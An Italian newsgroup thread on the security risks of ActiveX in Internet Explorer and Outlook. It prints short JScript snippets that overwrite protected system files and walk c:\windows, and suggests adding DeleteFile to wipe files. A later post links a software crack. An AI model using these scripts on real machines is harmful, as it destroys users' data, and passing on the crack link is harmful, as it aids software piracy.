Newsgroup: it.comp.lang.javascript
Titolo: C'E' DA DIVERTIRSI CON OUTLOOK ed EXPLORER!!!!

provate a fare una paginetta html con questo script: (tranquilli NON e'
dannoso cosi' com'e') e dite di si quando vi viene l'alert degli activeX
##################################################
<SCRIPT>
FILE_DA_SOVRASCRIVERE = "c:\\prova.txt" ;
fso = new ActiveXObject("Scripting.FileSystemObject");
if (fso.FileExists(FILE_DA_SOVRASCRIVERE))
   (fso.GetFile(FILE_DA_SOVRASCRIVERE)).Attributes = 0;
(fso.CreateTextFile(FILE_DA_SOVRASCRIVERE, true)).Close();
</SCRIPT>
##################################################
immaginate se la seconda riga fosse stata:
FILE_DA_SOVRASCRIVERE = "c:\\windows\\
win.com
" ;
oppure, visto che la ricorsione e la navigazione sono supportati
_BENISSIMO_ :
##################################################
<SCRIPT>
  var fso, f, f1, fc, s;
  fso = new ActiveXObject("Scripting.FileSystemObject");
  f = fso.GetFolder("c:\\windows\\");
  fc = new Enumerator(f.files);
  s = "";
  for (; !fc.atEnd(); fc.moveNext())
  {
      s += fc.item();
      s += "<br>";
  }
  document.write(s);
</SCRIPT>
##################################################
e se nel ciclo for avessi usato una funzione... uhm... come si chiama...
ah si..
  fso.DeleteFile(fc.item());
per concludere: gli activeX non sono virus, ne' troiani o come cacchio
volete chiamarli.... ma dei casini li fanno ugulamente... e con solo 5
righe di codice semplicissimo!!!!!!!
pero' in locale.... quanto sono comodi!!!
ciao --
-- sdrushi
--------------------------------
"Oggi ho fatto l'amore con Control, domani provo con Caps-Lock."
Michele "Sdrushi" Romagnoli
http://caristudenti.cs.unibo.it/~romagnom
roma...@cs.unibo.it
sdr...@comune.budrio.bo.it
--------------------------------

 FILE_DA_SOVRASCRIVERE = "c:\\windows\\
win.com
" ;
Ma forse, visto che 
win.com
 e' un file di sistema (o e' in uso) non permette
di toccarlo... (ovviamente la mia e' solo una speranza...:-((( )
--
ciao
gelty
--
Visita 
http://www.sifor.it
Elimina *toglimi* per le risposte

>pero' in locale.... quanto sono comodi!!!
Concordo in pieno, sia nelle intranet che in locale !
--
Bye
Ro<*¿*>berto

 di toccarlo... (ovviamente la mia e' solo una speranza...:-((( )
e qui viene il bello!!!
secondo te quando ho scritto:
if (fso.FileExists(FILE_DA_SOVRASCRIVERE))
   (fso.GetFile(FILE_DA_SOVRASCRIVERE)).Attributes = 0;
cosa vuol dire???
SE il file esiste, imposta TUTTI gli attributi a zero!!!!
prova a fare una prova (bel giochino di parole...) con il "prova.txt"
del mio esempio, scrivici qualcosa dentro, setta poi TUTTI gli attributi
(read-only, system, archive e hidden) e rifai partire.
MAGICAMENTE e' stato sovrascritto!!! 
forse ti posso dare ragione sul fatto che sia in uso....
ma sai quanti altri file si possono segare (a cominciare dall'"innoquo"
c:\autoexec.bat)!?!?


 c:\autoexec.bat)!?!?
Ecco, questo e' uno che si puo' tranquillamente sovrascrivere!
Evviva la sicurezza sul web! :-(


 Evviva la sicurezza sul web! :-(
ho appena finito di fare (nel poco tempo libero rimasto) uno scriptillo
di BEN 40 righe che ti sega TUTTO un drive.
non lo posto per ovvi motivi ma ti posso garantire che _ALMENO_ i file
in uso NON li cancella (
win.com
 SI... non e' in uso... e' explorer che
e' in uso!!!)


.. azz., ma non si puň fare del terrorismo in questo modo!!!
se uno č inesperto di informatica e dice di si ad un msg.
che gli chiede + o - "i prg. aperti possono essere dannosi,
vuoi che lo apra!!"
, č uno che cmq. (come tutti i novizi dell'informatica, io
pure quando ho iniziato!)
deve periodicamente formattare il suo HD e reinstallare
tutto!
...voglio dire, daccordo, ci sono dei rischi, window č meno
sicuro di linux o
IE meno di N e Outlook meno di Eudora, ma tutto sommato
ciascuno dei
prg. citati č meno sicuro perche offre di piů degli
equivalenti.
Non ho mai avuto notizie di danni provocati in remoto da
mail,
o pagine html, e ritengo che nessuno di voi ne habbia
avute!!!!!!!
...naturalmente altro č il discorso di Hacker, che entrando
in un sistema
possono fare di tutto..!!!
.. aproposito dio cose "scorrette" segnalo un programma di
ricerca
per le immagini sul web, con funzionamento tipo
copernico99plus
a:
http://www.mister-pix.com/english/main.htm
ed il relativo crack a:
http://cracks.pp.ru/m/b-mrp14.zip
--
Bye
Ro<*ż*>berto

 o pagine html, e ritengo che nessuno di voi ne abbia avute!!!!!!!
Secondo me e' solo perche' e' una tecnologia relativamente recente. E
secondo me c'e' davvero da preoccuparsi. Lasciate che "qualcuno" se ne
accorga...
